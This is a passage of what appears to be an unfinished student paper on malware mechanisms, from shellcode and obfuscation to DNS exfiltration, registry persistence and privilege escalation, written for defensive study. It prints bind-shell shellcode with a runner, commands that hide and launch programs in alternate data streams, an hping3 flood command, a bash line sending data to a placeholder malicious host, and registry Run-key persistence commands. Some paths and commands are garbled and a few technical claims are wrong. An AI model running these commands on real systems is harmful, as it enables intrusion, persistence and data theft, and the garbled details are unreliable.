Shellcode does come under the payload banner, but is a term used to describe code that returns an interactive terminal session to the threat actor. This means they can execute code at their discretion. Payloads often are shellcode in nature, because of the discussed benefits of variable input. Shells vary on system architecture, often

coming under Bash or Powershell for their respective operating systems. Architecture matters, for both when you are giving explicit shell instructions and when you are injecting an executable shell.

The difference being that the former relies on the target shell being present, and leveraging it to grant a reverse shell, and the latter injecting a malicious shell program that has no prerequisites beyond the architecture it is designed to work on.

A fine example is below (x86, 2013):

Listing 4.2: x86 Shellcode Example

```
#include <stdio.h>

#define PORT "\x7a\x69" /* 31337 */

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
PORT"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05"
"\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31"
"\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59"
"\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";

int
main(void)
{
    printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}
```

The above code is a proof of concept from www.shell-storm.org. It illustrates that not only can explicit shell instructions be encoded, but that linux binary code can be as well. The example simply describes the shellcode, but in reality would be injected using a relevant exploit, and would then return a shell once executed.

If found in industry, the differences can be shown via meaningful output between normal decoders and running it through a x86 disassembler. Typical reverse engineering methods could then be conducted

to find the true purpose of the payload. The specifics of static binary analysis, is beyond the scope of this paper. Instead the focus is on dynamic behavioural analysis.

Chapter 5

Malware Mechanisms - Obfuscation & Compression

Obfuscation is the art of hiding information, to prevent it from being explicitly viewed by those who wish to use it against the hacker. The idea being to muddle up the binary, making it really hard to analyze. There are certain details that are critical, IP addresses, URLs, locations, registry keys. Obfuscation is inherently dependant on some creativity, and so, this list is not intended to be comprehensive, but shows the fundamental behaviours they all exhibit.

- Unescape String
- From Hex
- From Charcode
- From XOR
- XOR Bruteforce
- Text Encoding Bruteforce
- From quoted printable
- Magic

5.1 Encoding vs Encryption

Encoding is a process in which we represent data in a different format. A simple way to think of this is that $A = 1$, $B = 2$. Data representation works in the same way, base 10 number systems (decimal)

can also be represented in base 2 (binary), alongside many others. The data isn't technically changing value, only how it is overtly interpreted. Encoding is often used for compression of data, base 16 (hexidecimal) is particually useful for this as each place vlaue represents two bytes, saving key space. Base64 is another common one, that is used in Youtube video URLs as it provides a large unique video ID range, and also means that unlisted videos cannot be sequentially guessed.

Encoding can also be used for hiding data, relying on the fact that whoever will see the data, will not understand it's meaning and encoding type. This means that clear text can be hidden, stopping people who may come across the data in transmission. The major downside of encoding is the lack of variability of security. It does not use a key, and is therefore the same each time. Any system that is reversable without a key, is inherintly insecure. As a result, encryption can be used if the data is of importance

Encryption is the prcoess of producing cipher text from a given input dataset, using a specifided algorithm that provides different output for every key. The key is the important part here, while the process is reversable, it requires a key that is outside of the parameters of the static algorithm. This does a great deal for security abstractly, but very much depends on the algorithm and key size used.

Listing 5.1: Encoding vs Encryption

```
Command = hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.
          hping3testsite.com

To Base64
  Output = HBpbmczIC1jIDEwMDAwIC1kIDEyMCAtUyAtdyA2NCAtcCAyMSA
          tLWZsb29kIC0tcmFuZC1zb3VyY2Ugd3d3LmhwaW5nM3Rlc3RzaXRlLmNvbQ==

To AES 256
  Key = bd7239a02424cd86bd7239a02424cd86bd7239a02424cd86bd7239a02424cd86
  IV = dab1efbf1d596f73c0e5e1b4486b6178
  Output = d15304958943bc2190ab10bbca29a6c0171e5af4347d3c4a4855bc048efb
          bd971
          92a46baaecbbac55073b72766c25faf90da1c5f386dc1201451b6e5576798a2439988
          5112ff1684fa4ac31a1161d72ad66f44ebbaebd05e727f362e15f30315
```

The IV is also of note in the above example, it relies on the Cipher

Block Chain (CBC) mode which uses it as a second key. It is a similar concept as a salt for a hash, and means you need both keys to actually decrypt the data. This makes the job of the defence much harder. It means that not only do you need to know the encryption, you need the mode, key, and possibly IV too. Base64 is sometimes used by malware, but can be easily spotted, as the == at the end is a base64 characteristic.

5.1.1 Polymorphic Encryption

In this sense, the data, the encryption algorithm and the password can all change, while maintaining the goal of the algorithm. It is clear however that while hashing of the source will not work, you can fingerprint and monitor the actions it would take, and identify based from that. Sometimes the decryption methodology and code was actually hashed, and detected based on it. There are ways around this too in one of the links.

Polymorphic data that is muddled:

- Filenames
- Encryption keys
- Unsplit strings
- File types/extensions
- Anything that is identifiable

It is very common for malware to have an encrypted payload, with a stub decrypter that acts in memory and bypasses static analysis

Dynamic analysis may detect this based on the actions conducted. AV can set up a visualised environment in which it runs through what the program would do if ran, match it against known activities regardless of hash, and look at decrypted memory.

This can be defeated (like everything), by having abrupt delays to throw the system off, lets say before and after decrypting, or overloading memory with junk to throw it off

5.2 Steganography

Steganography is a technique which involves hiding data inside the makeup of another medium. The mediums often include images, video and in modern day, network protocols. (Abdullaziz et al., 2013) The data of importance is injected into the medium in a way that is difficult to spot, and is indistinguishable without the knowledge of the technique. This does depend on the amount of data that is to be injected, there is a trade-off between quality to maintain covert cover and the data size.

The major difference between steganography and cryptography is that the former not only does not explicitly morph data into a different representation, rather it conceals it's very existence. If a systems engineer sees text that appears to be encrypted and there is some link to a covert channel, it may raise concern. Using the same example with Steganography, removes the concept of curiosity. (Abdullaziz et al., 2013)

Practical use cases include:

1. Concealment of illicit material on overlooked media
2. Stolen data compressed into file, ready for exfiltration/infiltration
3. Malware stager storage - See Sundown Exploit Kit
4. C2 structure based on Twitter image steganography

The threat is lesser compared to previous years, with detection systems being wary about Steganography inside files. There are considerations with the technique itself; it relies on a medium being downloaded, and also executed. This requirement of user interaction makes it less appealing to threat actors. That being said, some criminals like to reuse old techniques in new ways which may catch defence by surprise who are often more focused on current events. The technique can be performed by various tools, one of which is 'steghide' for unix systems.

5.3 Alternate Data Streams

Alternate Data Streams, often abbreviated as ADS, is a method of hiding information in the metadata portion of a file. This could be used to avoid having to represent data explicitly, such as in a text file, which is much more loud in computer forensic sense. ADS messages are not viewable by default, and so could easily slip through manual detection measures. ADS came about for NTFS and HFS+ in order to accomodate the extra metadata fields that Macintosh based systems operate with, creating cross-compatability. Whole files can be hidden inside another, which is a crude version of obfuscation. The data can be viewed fairly easily, but requires knowledge of this as a practise. (Martini et al., 2008)

Typically data is stored in the :\$DATA portion of the file, and malicious data can be injected into the zone identifier, and also executed from.

Implantation:

```
type c:kmalware.exe c:kWindowssystem32kcalc.exe:malware.exe
```

(Martini et al., 2008)

This will implant the malware.exe into the alternate data stream of calc.exe, letting a threat actor covertly hide malware or secret information, to later be executed or read.

Execution:

```
start c:kWindowssystem32kcalc.exe:malware.exe  
wmic process call create c:kWindowssystem32kcalc.exe:malware.exe
```

(ADS, 2018b)

Start previously worked, and is now blocked, however wmic still works.

Detection:

```
dir R
```

A positive use of ADS comes in the automated scanning of files - often in the ADS in case of malicious payload injection. This is particularly prevalent with downloaded files, the origin of the file is stored in the ADS by the browser. This lets security software have an extra conditional to check for to aid detection upon periodic scan or execution. (ADS, 2018a) There is a compressed version of ADS that are difficult to spot to due

Chapter 6

Malware Mechanisms - Exfiltration

Modern malware are often not static, it changes and morphs based on remote command. For this to work, there must be some form of communication from victim to attacker. As discussed above, there is usually a side channel for this. In C2 structures, it is often advantageous for communications to be covert and unreadable, as to not create a breadcrumb trail back.

Data can be pushed over the network, usually in the form of UDP or TCP traffic.

Listing 6.1: UDP over Bash

```
echo "d15304958943bc2190ab10bbca29a6c0171e5af4347d3c4a4
855bc048efbbd97192a46baaecbbac55073b72766c25faf90da1c5f
386dc1201451b6e5576798a24399885112ff1684fa4ac31a1161d72
ad66f44ebbaebd05e727f362e15f30315" > /dev/udp/malicious.example.com/80
```

In the above string, the previously encrypted string is sent over the network using bash's network device. UDP on port 80 was chosen for our example server

The above string is encrypted at rest, but another layer at transit would be ideal to obfuscate the traffic's purpose.

6.1 TLS

Transport Layer Security, and formally Secure Socket Layer (obsolete since 1999 when TLS evolved from it) are protocols to encrypt data cryptographically in transit. Its use typically applies to client to server communication. It ensures that while transmitting through potentially insecure nodes of the internet, data is secured and non-sensical to those who potentially have a network tap to view transmission contents. This is extremely important for communications that are sensitive in nature such as emails and voice communications. (UK and is Transport Layer Security?, 2018)

TLS is ultimately a layer for other protocols to plug into, to push their traffic through, with the other side agreeing to decrypt it in the same way. For example, there is HTTPS, HTTP over TLS. The cryptographic protocol must be agreed upon, as must the decryption key. This is done during the TLS handshake, except without an explicit key as that would be insecure to push over the network in clear text. (UK and is Transport Layer Security?, 2018)

PGP encryption is a popular choice for this, it provides an effective way of maintaining confidentiality and integrity. Each host has a private key only known to them, each also has a public key based on that private key given to anyone who wants it. This is known as asymmetric encryption. When data is asymmetric, private key encrypted data can only be decrypted by the public key of the other side, and vice versa.

As noted, integrity can be assured with this method. This is especially important in two settings. The first being infrastructure validation, in which server A and B want to ensure they are talking to each other, and not an impersonator whom wouldn't have the same public key. The second being the validation of websites, particularly the ones of high traffic. Often these sites have to handle sensitive information, and so clearly there is a need for them to prove they are who they are. They use the TLS and PGP process to develop certificates that are given to the browser who then automatically checks with certificate authorities (CAs) to ensure they are the real deal. Challenges are often given to the domain servers holding a

given certificate that only they can complete.

It is clear that TLS can be used for great purpose, to ensure data can be hidden from those it was not intended for, which helps prevent cyber crime known as man-in-the-middle attacks. A commonality in security is that both sides often use the same tools for different purposes. TLS unfortunately can be used to encrypt C2 channels to make them even more covert in transit. This is due to the flexibility of TLS, along with how computers handle data indiscriminately. Domains are cheap, and registering one for malicious purposes is common place in the criminal world. (Zheng et al., 2020)

6.2 Geo Location Altering

As discussed, it is important to conceal the location of the real attacker. It is common in a C2 structure for zombie machines in the botnet to conduct the attacks. This in essence is a proxied attack, as the zombies are attacking in place of the master. Proxy chains come in due to the need to remove the direct link from master to slave machines, adding multiple layers of proxy relays all around the world in between all communication either way. This means if a zombie machine was captured, authorities may only see communication to a random cloud host, whom then talks to another random cloud host. It increases the difficulty exponentially for law enforcement to find the criminal, as there are a whole assortment of laws that cause issues for accessing cloud services, when traditionally a live capture was all that was needed.

TOR is another endeavor that is intended to escape censorship and monitoring, that is also used by criminals to hide their real location. It runs using onion routing which ensures that the host is not linked to the destination by bouncing traffic through over nodes on the tor relay, that span all across the globe. The specifics are out of scope for this paper but the concept is that the client communicates with an onion based directory server, the first router is contacted and a Diffie-Hellman key exchange is initiated (to establish short live keys), with this repeating for 3 hops to create a non attributable link to the destination. The IP header is wrapped inside an 'onion'

that is peeled back at each node, to reveal information about how to reach the next. The process is more involved than that in reality, but again, is out of scope for this paper. (Ghafir et al., 2014)

TOR can cause problems for those who require some baseline of monitoring, whether than be a place of education or a workplace, to avoid policy and law violations. It often is used for criminal activity, with port scanning, C2 and exfiltration often being carried out over the darknet that TOR is often used to connect to. (Ghafir et al., 2014)

6.3 Protocol Payload Abuse

6.3.1 DNS

Domain Name Service, commonly known as DNS is a protocol that servers to resolve domain names to their respective IP addresses (and vice versa). It acts as a way for humans to use the internet in a more intuitive and memorable way, as well as allowing for variability in infrastructure deployments. If a file share is given a domain name and port, that domain name can then be used in clients that it serves; if the IP that is resolved into changes, then the client needs not change anything, and so less configuration is needed long term. Another point to make is that this allows for a round robin approach to load balancing where a given domain name resolves to different IP addresses providing the same service which evens the workload.

DNS is commonly used on most networks, as it provides an integral part in most interaction, human and programs alike. The assumption that DNS would be on practically any network can be used in an adversarie's favour; DNS is not often monitored to the degree it should be. DNS allows for fairly covert channels to transport data, that if done well, can bypass firewall and IDS/IPS systems. A C2 structure can be formed through this communication.

An abstract from a relevant paper (Steadman and Scott-Hayward, 2018):

"1: The attacker must have control of an authoritative DNS server, which will be the end point for the DNS re-

quests transmitted from the victim.

2: Exfiltration tools consist of two component applications; the client on the victim machine, and the server controlled by the attacker. The victim machine must be infected with the client tool. For example, within a malware payload.

3a: With control of the victim's machine, the exfiltration tool is used to encapsulate selected data from the victim into DNS requests.

3b/c: The request is forwarded through DNS servers until it reaches the attacker. This reflects standard DNS operation i.e. if a server is unable to resolve the DNS request, it forwards it to a higher-level DNS server.

4: Once the request reaches the authoritative DNS server, the server side of the exfiltration tool strips the data from the request and reconstructs it into the original format."

DNS Subdomain Manipulation

DNS requests and responses are used to transport data covertly. To a greater depth, this is accomplished via the ability to append a subdomain to a registered domain. DNS traffic is routed through infrastructure until it hits the authoritative server that is malicious, the logs are read and the data is stolen. Data is often compressed, encoded and something even encrypted to fit into the of the domain field up to the UDP limit (look into it). (Hinchliffe, 2019) Data transmitted this way is difficult to spot, and meaningless if found without context. The DNS server can either be threat actor controlled or hijacked infrastructure. Firewall rules allowing only certain IP addresses to access domains can be bypassed with UDP IP spoofing, where a complete whitelist approach of approved domain names would be ideal. (DNS, 2019)

For example:

```
d15304958943bc2190ab10bbca29a6c0171e5af4347d3c4a4855bc  
048efbbd97192a46baaecbbac55073b72766c25faf90da1c5f386d  
c1201451b6e5576798a24399885112ff1684fa4ac31a1161d72ad6  
6f44ebbaebd05e727f362e15f30315.maliciousServer.net
```

In reality, this can be improved upon. The above subdomain is long, and so splitting it up would look much less suspicious. The ability to know something is suspicious is still dangerous to an adversary.

Much better:

```
d15304958943bc2190ab10bbca2.maliciousServer.net  
9a6c0171e5af4347d3c4a4855bc.maliciousServer.net  
048efbbd97192a46baaecbbac55.maliciousServer.net  
073b72766c25faf90da1c5f386d.maliciousServer.net  
c1201451b6e5576798a24399885.maliciousServer.net  
112ff1684ff1684fa4ac31a1161.maliciousServer.net  
d72ad66f44ebbaebd05e727f362.maliciousServer.net  
e15f30315.maliciousServer.net
```

DNS Tunneling

There are multiple vectors in the DNS protocol to attach meaningful variance; The domain name itself that is attempted to be resolved as discussed, using common queries such as A or AAAA and tunneling other protocols as payloads through the query payload of the DNS query. Depending on the throughput needed, the requests can be segmented to be more covert, as tunneling high bandwidth protocols through DNS can be quite loud in respect to detection software. (Steadman and Scott-Hayward, 2018) Common tunneled protocols include SSH, HTTP and HTTPS. SSH and HTTPs have the benefit of having obfuscation in encryption, rather than just hiding http downloads in clear text encoded base64 (Hinchliffe, 2019)

DNS Infiltration

Another place to insert data is in a TXT response; If a NOERROR (Maybe explain more) TXT request is initiated by the victim (it would normally be NXDOMAIN), then the responder has the ability to insert data into the descriptive field. This is normally a field for contact information such as telephone number and email. The

space here is much larger, allowing for 300 characters which is plenty for a compressed executable payload. This would be considered infiltration, and provides alternate options. (Hinchliffe, 2019)

DNS Heartbeating

As discussed in earlier sections of the paper, messages are sent to verify connectivity and system availability, often with identifiable information. 4.1.1

DNS has this capability, as so long as targeted detection or whitelists are not in place, DNS can eventually push any amount of data through infrastructure to the centralized server. This allows for a level of creativity for how to solve problems. The C2 master may have many victim machines connecting to it at once, how may it distinguish between them, while using DNS?

Paloaltonetworks came up with an effective strategy, specific sections of data can be encoded into base64, and then pieced together and appended as a subdomain as discussed earlier. (Hinchliffe, 2019)

Listing 6.2: Encoding Of Identifiers Into A DNS Request

```
Sample Nomenclature:
IP, OS, Location, Username, Hostname, UUID

145.222.1.56 = MTQ1LjIyMi4xLjU2
Windows7 : NTFOLTAuMVc=
John Doe : Sm9obiBEb2U=
DB_SVR : REJfU1ZS
532e4d42-2de2-4489-8761-9f0bc329652e :
NTMyZTRkNDItMmRlMi00NDg5LTg3NjEtOWYwYmMzMjk2NTJl

Delimiter = '

MTQ1LjIyMi4xLjU2 'V2luZG93czc=' NTFOLTAuMVc=' Sm9obiBEb2U=' REJfU1ZS
'NTMyZTRkNDItMmRlMi00NDg5LTg3NjEtOWYwYmMzMjk2NTJl.maliciousServer.net
```

Varying length could be an issue, delimitation would solve this. A character that does not need to be escaped in base64 or DNS, but that is covert aesthetically would be ideal, such as the apostrophe used above. This is an area that has scope for improvement.

DNS C2 Control

The identifiers above allow the botnet master to provide responses conditionally based on request sender and content. DNS inherently resolves domain names to addresses, this is another potential attack vector. In the cases shown, the IP response is not needed or not even read by the victim. The DNS requests are arbitrary and serve to deliver data, rather than the intended purpose of being a mechanism for other protocols to work. This means that the IP address returned can be leveraged to hold a different meaning. These attacks assume control of a DNS server, and as a result what addresses are returned. (Hinchliffe, 2019)

Assuming we are using IPv4, there are 4,294,967,296 possible addresses. This means in turn that we have the same amount of potential commands, by assuming them as unique identifiers for commands. (Hinchliffe, 2019)

Using the earlier actions as an example 4.1.1:

Listing 6.3: Psuedo DNS OPCoding via IP resolution

```
10.10.10.1 = Downloading a remote payload
10.10.10.2 = Uploading sensitive data from the victim's machine
10.10.10.3 = Serving a reverse shell
10.10.10.4 = Conduct denial of service activity
10.10.10.5 = Wipe malware and traces
```

DNS Manipulative Tools

There are tools capable of conducting such techniques; these include:

1. DnsCat2 - "This tool is designed to create an encrypted command-and-control (CC) channel over the DNS protocol" (iagox86, 2020)
2. DNSExfiltrator - "Allows for transferring a file over a DNS request covert channel." (Arno0x, 2020)
3. Iodine - "IP over DNS tunneling client" (Yarrick)
4. DET - "Data Exfiltration Toolkit" (sensepost, 2016)

6.3.2 ICMP

ICMP is a control message protocol for IP that lets a host ping another host to validate connectivity. This relies on the other side allowing ICMP, and that it responds. that ICMP allows for a similar kind of exfiltration to DNS. Exfiltration methodologies can be split into two categories, timing and storage based. The former uses time as the boolean measure as to a given status by manipulation response/request time, for example delaying response by 3 seconds if clear text passwords exist. The latter relies on fields within the protocol having storage capacity for variable data for exfiltration. These tend to be unused or optional fields, with one process writing to them, and another stripping it out. The ICMP data payload inside the frame is the most obvious location, but it being under the ICMP banner, can help divert attention elsewhere. There are other less obvious places that data could be placed, but that is out of scope for this paper. (Sayadi et al., 2017)

Ping can be leveraged to specify it's 16 byte ECHO_REQUEST field's contents. The source states that a simple Scapy Python script can be used in combination with timing and payload switches of the ping utility, to exfiltrate data under the ICMP protocol. This relies on compression of data into hexadecimal, and to then sneak that into intervalled bytes that the listener/sniffer on the malicious server will then strip and write to a file. (Safebreach.com, 2020)

For the purposes of this paper, DNS will be the focus, however, ICMP is a useful asset for the above use cases.

Chapter 7

Malware Mechanisms - Persistence

Important for malware to have continued access, even after a reboot. I will try a few of these with a reverse shell. We need triggers, these triggers should be fairly legit, with malformed payloads. These triggers should be automatic, or at least on something that would be done normally.

Windows works by leaving files for both reference, logs and to speed process up. These either are intrinsic to how the OS works or simply have been left behind. These are great for finding evidence and purpose. We can prove that the criminal acted at a given time, on a given file etc... These are some useful areas. This is windows 10, but older ones are still out there, 7 upwards are very similar. We need to be able to recreate.

7.1 Registry Manipulation

A hive that is normally maintained by the system. You can change values and implant whatever you want in there. Here are some strategic places. Many of these are ASEPs (AutoStart Extension Points), meaning they run without user interaction. The registry seems to have issues with wild wildcards, in that it will run essentially anything under a given hive at its respective time and permissions. It's a rootkit waiting to happen. It's where forensic analysts will look first. When i'm testing this, I often use regedit.exe. Real malware

wouldn't do this, it would do it via scripting. A few example of the reg command are below. //expand upon with real scripting.

Startup Keys Keys that point to folders, that can launch shortcuts and executables as the given user, often during login or reboot

Listing 7.1: Registry Startup Key Locations

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
  Folders //will default to carl in my case
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
  Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell
  Folders //for public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell
  Folders //for users

Windows Startup folder - Anything here auto execs on startup, even shortcuts.
  run ----> shell:startup

C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  //seems to run as logged in user - waits for login, rather than boot level
```

Services Winload.exe is the first to load in the OS, reads the hive to see what drivers need to be loaded. It is responsible for the "starting windows" message.

Listing 7.2: Registry Service Locations

```
HKLM\SYSTEM\CurrentControlSet\Services

View drivers (Admin)
reg query hklm\system\currentcontrolset\services /s | findstr ImagePath 2>nul |
  findstr /Ri ".*\.sys\$"

C:\WINDOWS\TEMP\INSTB64.SYS C:\Users\USERNA~1\AppData\Local\Temp\cpuz135\
  cpuz135_x64.sys C:\Windows\TEMP\009947~1.EXE C:\Users\username\AppData\Local\
  Temp\ALSysIO64.sys
//Temp or user folders would be very sus! It's about looking for anomalous
  locations.s
```

Browser Helper Objects

Listing 7.3: Registry BHO Locations

```
A DLL module that loads on internet explorer startup. It's reactionary, requires
  reasonable setup, but is fairly reliable. A favourite for data theft.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser
  Helper Objects
```

BootExecute Keys

Listing 7.4: Registry BootExecute Locations

```
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
```

As far as locations in the registry where malicious processes or modules can be configured to launch from, the BootExecute key is the earliest. Smss.exe will load any programs it finds listed here. By default the only entry in this string array is autocheck autochk * which runs Autochk during boot. Decodes to "autocheck autochk * aHdqEPamx", loads this on boot. This is the view of an online sandbox analyzer.

DLL Search Order Hijacking If a process is executed, it will look in it's own folder first, and use it's DLL, even over a windows one, to overwrite it. If not, it will read the location of root, to the destination with spaces, and means you can inject a dll where you know it will look before the real one. Even explorer.exe does this!

AppInit_DLLs Everytime User32.dll is loaded by an exe, this string is read and modules are loaded that are listed. This is invoked a fair few times on system loadup from multiple initilized processes.

Run RunOnce Keys

Listing 7.5: Registry Run Locations

```
User (For then priv esc):
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Admin Level:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
    Run
//depending on architecture
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v
    Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v
    Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
```

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices"
/v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.
exe"
```

(Penetration-Testing-Labs, 2019)

7.2 Privilege Escalation

The idea behind privilege escalation is that under the assumption that a user shell is granted, that shell can then be leveraged in a malicious way to gain higher privilege. Permissions are often exploited in order to escape user level constraints, often due to poor configuration. This varies from hijacking processes running as root (system in windows) to abusing scheduled tasks to run user defined code. The ultimate goal of priv esc is to leverage the highest user shell, from there; system level persistence mechanisms such as rootkits can be easily leveraged for deep persistence.

7.2.1 Command Injection

We can use command injection to run any command that user has available. This may include netcat or any allowed system command. This could all be prevented with a few steps. Proper input validation on the entry point. Lack of access that the web application has to system commands, as well as up the date packages of the languages that have this vulnerable. There is no reason that netcat should be on a target system. The following is possible otherwise. We could use this attack in a input that runs a command, we end the command and run another as that user, in this case popping a shell for us to run commands more easily ourselves.

7.2.2 Scheduler & Permission Manipulation

Linux systems use cron, and windows systems use task scheduler. They both allow for administrators to automate tasks. The use case is usually for an on-boot task, or periodically ran for backups and other important jobs. They save the administrator from having

to run it manually, leaving them to do other jobs. They are invaluable for backup hygiene, as well as autostarting important programs. While these schedulers can run single commands, they are often given scripts for which to run at their defined time. The programmer in this case does not have to worry about scheduling code, they let the OS sort it out with their defined settings. The script will do 'x' task, and will run through it's defined algorithm.

The problem arises in the permissions of the potentially variable file. The script will always run as the user chosen to run the task. This means that the script could be running as the system or root user without explicit knowledge, and as such , if exploited could also run arbitrary code. A particularly nasty attack vector is the write permission of the script. If not secured so that only system level permissions can edit it, potentially any user can alter it. A user account could be hijacked, and then attempt to write to a scheduled script file. The user writing to the file may not be the one running it periodically, and as such any changes could be ran as the system/root user.

Sudo Permission Abuse:

There is another vulnerability in unix based systems called SUID exploitation in which programs have permissions assigned which say who can use the sudo command, as what user, on what binaries, that do not consider how that permission might be used. If a threat actor gained a shell onto a system as a given user, they could use it to scan for 'S' bits on the permission section. The 'S' represents who can run a program as a different user, often without a password. The ability to run code as another, sometimes more privilege user means that there may be potential to abuse the application into using it's power to grant a shell, under that user. GTFObins is a useful resource for this use case, it is a repository of known exploitation strings. (GTF, 2020)

Scan for SUID binaries for a given user:

```
find / user user perm 4000 exec ls ldb n+nb k;  
sudo l
```

These are attack vectors, and as such means that there is a RCE vulnerability if left unsecured. An attacker could use it to leverage position, pivot to another user, and plant persistence with a new user of privilege. Equally, persistence could be gained by binding to a 'trusted' process which has privilege. Applications like Windows File Explorer and Notepad have inherent trust and privilege in the system, and as such if malware binds their respective, it can remain there for sometime. Binding to a process can be done using the above DLL hijacking, and also with the use of meterpreter modules once in the system. Meterpreter also has the benefit of using the hijacked process as a tunnel to run through commands through, and so can be leveraged to quickly comb through infrastructure.

Implantation of SSH keys is a common tactic, they do not require passwords or a user, rather a public key that is unique to the hacker's device. A sample of how native applications can be abused is Notepad itself. Notepad is a text editor in nature, meaning it has read and write permissions, of a given user. It is a convenient way of delivering malware payloads into local malware scripts, often with great speed.

Part III

Synthesis

Part IV

Evaluation

Bibliography

x86 linux tcp bind shell - 150 bytes, 2013. URL <http://shell-storm.org/shellcode/files/shellcode-858.php>.

2014. URL <https://tools.kali.org/information-gathering/firewalk>.

Difference between a virus, worm and trojan horse — digicert₂₀₁₇, 2017. *URL*

The abuse of alternate data stream hasn't disappeared, Jun 2018a.

URL [https://www.deepinstinct.com/2018/06/12/the-abuse-of-alternate-streams/#:~:text=Alternate%20Data%20Stream%20\(ADS\)%20is,normally%20used%20for%20a%20file](https://www.deepinstinct.com/2018/06/12/the-abuse-of-alternate-streams/#:~:text=Alternate%20Data%20Stream%20(ADS)%20is,normally%20used%20for%20a%20file).

Putting data in alternate data streams and how to execute it, Jan

2018b. URL <https://oddvar.moe/2018/01/14/putting-data-in-alternate-streams/>.

Packets and dns exfiltration, Jan 2019. URL <https://gracefulsecurity.com/spoofing-packets-and-dns-exfiltration/>.

Msfvenom — offensive security, 2019. URL <https://www.offensive-security.com/metasploit-unleashed/msfvenom/>.

Gtfobins, 2020. URL <https://gtfobins.github.io/>.

Ncat, 2020. URL <https://nmap.org/ncat/>.

Reverse shell cheat sheet — pentestmonkey, 2020. URL <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>.

C++ reference, 2020a. URL <https://www.cplusplus.com/reference/cstring/strcpy/>.

C++ reference, 2020b. URL <https://www.cplusplus.com/reference/cstring/strncpy/>.

O. I. Abdullaziz, V. T. Goh, H. Ling, and K. Wong. Network

packet payload parity based steganography. In *2013 IEEE Conference on Sustainable Utilization and Development in Engineering and Technology (CSUDET)*, pages 56–59, 2013. 10.1109/CSUDET.2013.6670985.

Arno0x. Arno0x/dnsexfiltrator, 2020. URL <https://github.com/Arno0x/DNSExfiltrator>.

calebstewart. calebstewart/pwncat. URL <https://github.com/calebstewart/pwncat>.

I. Ghafir, J. Svoboda, and V. Prenosil. Tor-based malware and tor connection detection. pages 1–6, 2014. 10.1049/cp.2014.1411.

Roger A Grimes. 9 types of malware and how to recognize them, Nov 2020. URL <https://www.csoononline.com/article/2615925/security-your-quick-guide-to-malware-types.html>.

Harshita Harshita. Detection and prevention of icmp flood ddos attack. *International Journal of New Technology and Research*, 3 (3):63–69, 3 2017.

Alex Hinchliffe. Dns tunneling: how dns can be (ab)used by malicious actors, Mar 2019. URL <https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/>.

M. A. Hussain, H. Jin, Z. A. Hussien, Z. A. Abduljabbar, S. H. Abbdal, and A. Ibrahim. Dns protection against spoofing and poisoning attacks. pages 1308–1312, 2016. 10.1109/ICISCE.2016.279.

iagox86. iagox86/dnscat2, Apr 2020. URL <https://github.com/iagox86/dnscat2>.

John Love. Malware types and classifications, Mar 2018. URL <https://www.lastline.com/blog/malware-types-and-classifications/>.

A. I. Martini, A. Zaharis, and C. Ilioudis. Detecting and manipulating compressed alternate data streams in a forensics investigation. pages 53–59, 2008. 10.1109/WDFIA.2008.9.

Penetration-Testing-Labs. Persistence – registry run keys, Oct 2019. URL <https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/>.

Subramani Rao. Denial of service attacks and mitigation techniques: Real time implementation with detailed analysis? *SANS Institute*

Information Security Reading Room, pages 9–27, 2020.

Safebreach.com. I see your true echo request patterns (pinging data away)₂₀₂₀, 2020. *URL*.

